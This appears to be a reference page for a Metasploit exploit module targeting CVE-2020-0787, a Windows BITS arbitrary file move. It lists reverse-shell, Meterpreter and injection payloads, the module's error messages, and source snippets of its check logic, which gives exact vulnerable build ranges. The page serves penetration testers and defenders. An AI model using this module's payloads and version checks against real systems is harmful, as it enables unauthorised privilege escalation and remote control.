77 payload/windows/patchupdllinject/reverse_ipv6_tcp normal No Windows Inject DLL, Reverse TCP Stager (IPv6)
78 payload/windows/patchupdllinject/reverse_nonx_tcp normal No Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
79 payload/windows/patchupdllinject/reverse_ord_tcp normal No Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
80 payload/windows/patchupdllinject/reverse_tcp normal No Windows Inject DLL, Reverse TCP Stager
81 payload/windows/patchupdllinject/reverse_tcp_allports normal No Windows Inject DLL, Reverse All-Port TCP Stager
82 payload/windows/patchupdllinject/reverse_tcp_dns normal No Windows Inject DLL, Reverse TCP Stager (DNS)
83 payload/windows/patchupdllinject/reverse_tcp_rc4 normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
84 payload/windows/patchupdllinject/reverse_tcp_rc4_dns normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
85 payload/windows/patchupdllinject/reverse_tcp_uuid normal No Windows Inject DLL, Reverse TCP Stager with UUID Support
86 payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
87 payload/windows/patchupmeterpreter/bind_hidden_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
88 payload/windows/patchupmeterpreter/bind_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
89 payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
90 payload/windows/patchupmeterpreter/bind_named_pipe normal No Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
91 payload/windows/patchupmeterpreter/bind_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
92 payload/windows/patchupmeterpreter/bind_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
93 payload/windows/patchupmeterpreter/bind_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
94 payload/windows/patchupmeterpreter/bind_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
95 payload/windows/patchupmeterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
96 payload/windows/patchupmeterpreter/reverse_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
97 payload/windows/patchupmeterpreter/reverse_ord_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
98 payload/windows/patchupmeterpreter/reverse_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
99 payload/windows/patchupmeterpreter/reverse_tcp_allports normal No Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
100 payload/windows/patchupmeterpreter/reverse_tcp_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
101 payload/windows/patchupmeterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
102 payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
103 payload/windows/patchupmeterpreter/reverse_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
104 payload/windows/peinject/bind_hidden_ipknock_tcp normal No Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
105 payload/windows/peinject/bind_hidden_tcp normal No Windows Inject PE Files, Hidden Bind TCP Stager
106 payload/windows/peinject/bind_ipv6_tcp normal No Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
107 payload/windows/peinject/bind_ipv6_tcp_uuid normal No Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
108 payload/windows/peinject/bind_named_pipe normal No Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
109 payload/windows/peinject/bind_nonx_tcp normal No Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
110 payload/windows/peinject/bind_tcp normal No Windows Inject PE Files, Bind TCP Stager (Windows x86)
111 payload/windows/peinject/bind_tcp_rc4 normal No Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
112 payload/windows/peinject/bind_tcp_uuid normal No Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
113 payload/windows/peinject/reverse_ipv6_tcp normal No Windows Inject PE Files, Reverse TCP Stager (IPv6)
114 payload/windows/peinject/reverse_named_pipe normal No Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
115 payload/windows/peinject/reverse_nonx_tcp normal No Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
116 payload/windows/peinject/reverse_ord_tcp normal No Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
117 payload/windows/peinject/reverse_tcp normal No Windows Inject PE Files, Reverse TCP Stager
118 payload/windows/peinject/reverse_tcp_allports normal No Windows Inject PE Files, Reverse All-Port TCP Stager
119 payload/windows/peinject/reverse_tcp_dns normal No Windows Inject PE Files, Reverse TCP Stager (DNS)
120 payload/windows/peinject/reverse_tcp_rc4 normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
121 payload/windows/peinject/reverse_tcp_rc4_dns normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
122 payload/windows/peinject/reverse_tcp_uuid normal No Windows Inject PE Files, Reverse TCP Stager with UUID Support
123 payload/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
124 payload/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
125 payload/windows/shell/bind_hidden_ipknock_tcp normal No Windows Command Shell, Hidden Bind Ipknock TCP Stager
126 payload/windows/shell/bind_hidden_tcp normal No Windows Command Shell, Hidden Bind TCP Stager
127 payload/windows/shell/bind_ipv6_tcp normal No Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
128 payload/windows/shell/bind_ipv6_tcp_uuid normal No Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
129 payload/windows/shell/bind_named_pipe normal No Windows Command Shell, Windows x86 Bind Named Pipe Stager
130 payload/windows/shell/bind_nonx_tcp normal No Windows Command Shell, Bind TCP Stager (No NX or Win7)
131 payload/windows/shell/bind_tcp normal No Windows Command Shell, Bind TCP Stager (Windows x86)
132 payload/windows/shell/bind_tcp_rc4 normal No Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
133 payload/windows/shell/bind_tcp_uuid normal No Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
134 payload/windows/shell/reverse_ipv6_tcp normal No Windows Command Shell, Reverse TCP Stager (IPv6)
135 payload/windows/shell/reverse_nonx_tcp normal No Windows Command Shell, Reverse TCP Stager (No NX or Win7)
136 payload/windows/shell/reverse_ord_tcp normal No Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
137 payload/windows/shell/reverse_tcp normal No Windows Command Shell, Reverse TCP Stager
138 payload/windows/shell/reverse_tcp_allports normal No Windows Command Shell, Reverse All-Port TCP Stager
139 payload/windows/shell/reverse_tcp_dns normal No Windows Command Shell, Reverse TCP Stager (DNS)
140 payload/windows/shell/reverse_tcp_rc4 normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
141 payload/windows/shell/reverse_tcp_rc4_dns normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
142 payload/windows/shell/reverse_tcp_uuid normal No Windows Command Shell, Reverse TCP Stager with UUID Support
143 payload/windows/shell/reverse_udp normal No Windows Command Shell, Reverse UDP Stager with UUID Support
144 payload/windows/shell_bind_tcp normal No Windows Command Shell, Bind TCP Inline
145 payload/windows/shell_bind_tcp_xpfw normal No Windows Disable Windows ICF, Command Shell, Bind TCP Inline
146 payload/windows/shell_hidden_bind_tcp normal No Windows Command Shell, Hidden Bind TCP Inline
147 payload/windows/shell_reverse_tcp normal No Windows Command Shell, Reverse TCP Inline
148 payload/windows/speak_pwned normal No Windows Speech API - Say "You Got Pwned!"
149 payload/windows/upexec/bind_hidden_ipknock_tcp normal No Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
150 payload/windows/upexec/bind_hidden_tcp normal No Windows Upload/Execute, Hidden Bind TCP Stager
151 payload/windows/upexec/bind_ipv6_tcp normal No Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
152 payload/windows/upexec/bind_ipv6_tcp_uuid normal No Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
153 payload/windows/upexec/bind_named_pipe normal No Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
154 payload/windows/upexec/bind_nonx_tcp normal No Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
155 payload/windows/upexec/bind_tcp normal No Windows Upload/Execute, Bind TCP Stager (Windows x86)
156 payload/windows/upexec/bind_tcp_rc4 normal No Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
157 payload/windows/upexec/bind_tcp_uuid normal No Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
158 payload/windows/upexec/reverse_ipv6_tcp normal No Windows Upload/Execute, Reverse TCP Stager (IPv6)
159 payload/windows/upexec/reverse_nonx_tcp normal No Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
160 payload/windows/upexec/reverse_ord_tcp normal No Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
161 payload/windows/upexec/reverse_tcp normal No Windows Upload/Execute, Reverse TCP Stager
162 payload/windows/upexec/reverse_tcp_allports normal No Windows Upload/Execute, Reverse All-Port TCP Stager
163 payload/windows/upexec/reverse_tcp_dns normal No Windows Upload/Execute, Reverse TCP Stager (DNS)
164 payload/windows/upexec/reverse_tcp_rc4 normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
165 payload/windows/upexec/reverse_tcp_rc4_dns normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
166 payload/windows/upexec/reverse_tcp_uuid normal No Windows Upload/Execute, Reverse TCP Stager with UUID Support
167 payload/windows/upexec/reverse_udp normal No Windows Upload/Execute, Reverse UDP Stager with UUID Support
168 payload/windows/vncinject/bind_hidden_ipknock_tcp normal No VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
169 payload/windows/vncinject/bind_hidden_tcp normal No VNC Server (Reflective Injection), Hidden Bind TCP Stager
170 payload/windows/vncinject/bind_ipv6_tcp normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
171 payload/windows/vncinject/bind_ipv6_tcp_uuid normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
172 payload/windows/vncinject/bind_named_pipe normal No VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
173 payload/windows/vncinject/bind_nonx_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
174 payload/windows/vncinject/bind_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
175 payload/windows/vncinject/bind_tcp_rc4 normal No VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
176 payload/windows/vncinject/bind_tcp_uuid normal No VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
177 payload/windows/vncinject/reverse_hop_http normal No VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
178 payload/windows/vncinject/reverse_http normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
179 payload/windows/vncinject/reverse_http_proxy_pstore normal No VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
180 payload/windows/vncinject/reverse_ipv6_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
181 payload/windows/vncinject/reverse_nonx_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
182 payload/windows/vncinject/reverse_ord_tcp normal No VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
183 payload/windows/vncinject/reverse_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager
184 payload/windows/vncinject/reverse_tcp_allports normal No VNC Server (Reflective Injection), Reverse All-Port TCP Stager
185 payload/windows/vncinject/reverse_tcp_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
186 payload/windows/vncinject/reverse_tcp_rc4 normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
187 payload/windows/vncinject/reverse_tcp_rc4_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
188 payload/windows/vncinject/reverse_tcp_uuid normal No VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
189 payload/windows/vncinject/reverse_winhttp normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
190 payload/windows/x64/exec normal No Windows x64 Execute Command
191 payload/windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
192 payload/windows/x64/messagebox normal No Windows MessageBox x64
193 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
194 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
195 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
196 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
197 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
198 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
199 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
200 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
201 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
202 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
203 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
204 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
205 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
206 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
207 payload/windows/x64/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
208 payload/windows/x64/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline (x64)
209 payload/windows/x64/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline (x64)
210 payload/windows/x64/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
211 payload/windows/x64/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
212 payload/windows/x64/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline x64
213 payload/windows/x64/peinject/bind_ipv6_tcp normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
214 payload/windows/x64/peinject/bind_ipv6_tcp_uuid normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
215 payload/windows/x64/peinject/bind_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
216 payload/windows/x64/peinject/bind_tcp normal No Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
217 payload/windows/x64/peinject/bind_tcp_rc4 normal No Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
218 payload/windows/x64/peinject/bind_tcp_uuid normal No Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
219 payload/windows/x64/peinject/reverse_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
220 payload/windows/x64/peinject/reverse_tcp normal No Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
221 payload/windows/x64/peinject/reverse_tcp_rc4 normal No Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
222 payload/windows/x64/peinject/reverse_tcp_uuid normal No Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
223 payload/windows/x64/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
224 payload/windows/x64/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
225 payload/windows/x64/shell/bind_ipv6_tcp normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
226 payload/windows/x64/shell/bind_ipv6_tcp_uuid normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
227 payload/windows/x64/shell/bind_named_pipe normal No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
228 payload/windows/x64/shell/bind_tcp normal No Windows x64 Command Shell, Windows x64 Bind TCP Stager
229 payload/windows/x64/shell/bind_tcp_rc4 normal No Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
230 payload/windows/x64/shell/bind_tcp_uuid normal No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
231 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
232 payload/windows/x64/shell/reverse_tcp_rc4 normal No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
233 payload/windows/x64/shell/reverse_tcp_uuid normal No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
234 payload/windows/x64/shell_bind_tcp normal No Windows x64 Command Shell, Bind TCP Inline
235 payload/windows/x64/shell_reverse_tcp normal No Windows x64 Command Shell, Reverse TCP Inline
236 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
237 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
238 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
239 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
240 payload/windows/x64/vncinject/bind_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
241 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
242 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
243 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
244 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
245 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
246 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
247 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
248 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/local/cve_2020_0787_bits_arbitrary_file_move exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- This target is not presently supported by this exploit. Support may be added in the future!
- Attempts to exploit this target with this module WILL NOT WORK!
- Target is not a Windows system, so it is not affected by this vulnerability!
- Couldn't retrieve the target's build number!
- Target is not running a vulnerable version of Windows!
- Vulnerable Windows 10 v1909 build detected!
- Vulnerable Windows 10 v1903 build detected!
- Vulnerable Windows 10 v1809 build detected!
- Vulnerable Windows 10 v1803 build detected!
- Vulnerable Windows 10 v1709 build detected!
- Vulnerable Windows 10 v1703 build detected!
- Vulnerable Windows 10 v1607 build detected!
- Vulnerable Windows 10 v1511 build detected!
- Vulnerable Windows 10 v1507 build detected!
- Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!
- Vulnerable Windows 8/Windows Server 2012 build detected!
- Vulnerable Windows 7/Windows Server 2008 R2 build detected!
- Windows Server 2008/Windows Server 2008 SP2 build detected!
- The build number of the target machine does not appear to be a vulnerable version!
- Target is not running Windows!
- Target is running Windows, its not a version this module supports! Bailing...
- This exploit currently only supports x86 and x64 targets!
- Unsupported payload architecture (<PAYLOAD_ARCH>)
- Payload architecture (<PAYLOAD_ARCH>) doesn't match the architecture of the target (<CLIENT_ARCH>)!
- <WOW64_TARGET_PAYLOAD_PATHNAME> already exists
- If it is in use, the overwrite will fail
- Change OVERWRITE_DLL option to true if you would like to proceed.
- <WOW64_TARGET_PAYLOAD_PATHNAME> already exists and OVERWRITE_DLL option is false
- <NORMAL_TARGET_PAYLOAD_PATHNAME> already exists
- If it is in use, the overwrite will fail
- Change OVERWRITE_DLL option to true if you would like to proceed.
- <NORMAL_TARGET_PAYLOAD_PATHNAME> already exists and OVERWRITE_DLL option is false
- Session is already elevated
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
This target is not presently supported by this exploit. Support may be added in the future!
Here is a relevant code snippet related to the "This target is not presently supported by this exploit. Support may be added in the future!" error message:
81: OptInt.new('JOB_WAIT_TIME', [true, 'Time to wait for the BITS job to complete before starting the USO service to execute the uploaded payload, in seconds', 20])
82: ])
83: end
84:
85: def target_not_presently_supported
86: print_warning('This target is not presently supported by this exploit. Support may be added in the future!')
87: print_warning('Attempts to exploit this target with this module WILL NOT WORK!')
88: end
89:
90: def check
91: sysinfo_value = sysinfo['OS']
Attempts to exploit this target with this module WILL NOT WORK!
Here is a relevant code snippet related to the "Attempts to exploit this target with this module WILL NOT WORK!" error message:
82: ])
83: end
84:
85: def target_not_presently_supported
86: print_warning('This target is not presently supported by this exploit. Support may be added in the future!')
87: print_warning('Attempts to exploit this target with this module WILL NOT WORK!')
88: end
89:
90: def check
91: sysinfo_value = sysinfo['OS']
92:
Target is not a Windows system, so it is not affected by this vulnerability!
Here is a relevant code snippet related to the "Target is not a Windows system, so it is not affected by this vulnerability!" error message:
90: def check
91: sysinfo_value = sysinfo['OS']
92:
93: if sysinfo_value !~ /windows/i
94: # Non-Windows systems are definitely not affected.
95: return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
96: end
97:
98: # XXX Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations.
99: build_num_raw = session.shell_command_token('cmd.exe /c ver')
100: build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)
Couldn't retrieve the target's build number!
Here is a relevant code snippet related to the "Couldn't retrieve the target's build number!" error message:
97:
98: # XXX Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations.
99: build_num_raw = session.shell_command_token('cmd.exe /c ver')
100: build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)
101: if build_num.nil?
102: print_error("Couldn't retrieve the target's build number!")
103: else
104: build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0]
105: print_status("Target's build number: #{build_num}")
106: end
107:
Target is not running a vulnerable version of Windows!
Here is a relevant code snippet related to the "Target is not running a vulnerable version of Windows!" error message:
105: print_status("Target's build number: #{build_num}")
106: end
107:
108: # see https://docs.microsoft.com/en-us/windows/release-information/
109: unless sysinfo_value =~ /(7|8|8\.1|10|2008|2012|2016|2019|1803|1903)/
110: return CheckCode::Safe('Target is not running a vulnerable version of Windows!')
111: end
112:
113: build_num_gemversion = Rex::Version.new(build_num)
114:
115: # Build numbers taken from https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/
Vulnerable Windows 10 v1909 build detected!
Here is a relevant code snippet related to the "Vulnerable Windows 10 v1909 build detected!" error message:
112:
113: build_num_gemversion = Rex::Version.new(build_num)
114:
115: # Build numbers taken from https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/
116: if (build_num_gemversion >= Rex::Version.new('10.0.18363.0')) && (build_num_gemversion < Rex::Version.new('10.0.18363.719')) # Windows 10 v1909
117: return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!')
118: elsif (build_num_gemversion >= Rex::Version.new('10.0.18362.0')) && (build_num_gemversion < Rex::Version.new('10.0.18362.719')) # Windows 10 v1903
119: return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')
120: elsif (build_num_gemversion >= Rex::Version.new('10.0.17763.0')) && (build_num_gemversion < Rex::Version.new('10.0.17763.1098')) # Windows 10 v1809
121: return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')
122: elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0')) && (build_num_gemversion < Rex::Version.new('10.0.17134.1365')) # Windows 10 v1803
Vulnerable Windows 10 v1903 build detected!
Here is a relevant code snippet related to the "Vulnerable Windows 10 v1903 build detected!" error message:
114:
115: # Build numbers taken from https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/
116: if (build_num_gemversion >= Rex::Version.new('10.0.18363.0')) && (build_num_gemversion < Rex::Version.new('10.0.18363.719')) # Windows 10 v1909
117: return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!')
118: elsif (build_num_gemversion >= Rex::Version.new('10.0.18362.0')) && (build_num_gemversion < Rex::Version.new('10.0.18362.719')) # Windows 10 v1903
119: return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')
120: elsif (build_num_gemversion >= Rex::Version.new('10.0.17763.0')) && (build_num_gemversion < Rex::Version.new('10.0.17763.1098')) # Windows 10 v1809
121: return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')
122: elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0')) && (build_num_gemversion < Rex::Version.new('10.0.17134.1365')) # Windows 10 v1803
123: return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')
124: elsif (build_num_gemversion >= Rex::Version.new('10.0.16299.0')) && (build_num_gemversion < Rex::Version.new('10.0.16299.1747')) # Windows 10 v1709
Vulnerable Windows 10 v1809 build detected!
Here is a relevant code snippet related to the "Vulnerable Windows 10 v1809 build detected!" error message:
116: if (build_num_gemversion >= Rex::Version.new('10.0.18363.0')) && (build_num_gemversion < Rex::Version.new('10.0.18363.719')) # Windows 10 v1909
117: return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!')
118: elsif (build_num_gemversion >= Rex::Version.new('10.0.18362.0')) && (build_num_gemversion < Rex::Version.new('10.0.18362.719')) # Windows 10 v1903
119: return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')
120: elsif (build_num_gemversion >= Rex::Version.new('10.0.17763.0')) && (build_num_gemversion < Rex::Version.new('10.0.17763.1098')) # Windows 10 v1809
121: return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')
122: elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0')) && (build_num_gemversion < Rex::Version.new('10.0.17134.1365')) # Windows 10 v1803
123: return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')
124: elsif (build_num_gemversion >= Rex::Version.new('10.0.16299.0')) && (build_num_gemversion < Rex::Version.new('10.0.16299.1747')) # Windows 10 v1709
125: return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')
126: elsif (build_num_gemversion >= Rex::Version.new('10.0.15063.0')) && (build_num_gemversion < Rex::Version.new('10.0.15063.2313')) # Windows 10 v1703
Vulnerable Windows 10 v1803 build detected!
Here is a relevant code snippet related to the "Vulnerable Windows 10 v1803 build detected!" error message:
118: elsif (build_num_gemversion >= Rex::Version.new('10.0.18362.0')) && (build_num_gemversion < Rex::Version.new('10.0.18362.719')) # Windows 10 v1903
119: return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')
120: elsif (build_num_gemversion >= Rex::Version.new('10.0.17763.0')) && (build_num_gemversion < Rex::Version.new('10.0.17763.1098')) # Windows 10 v1809
121: return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')
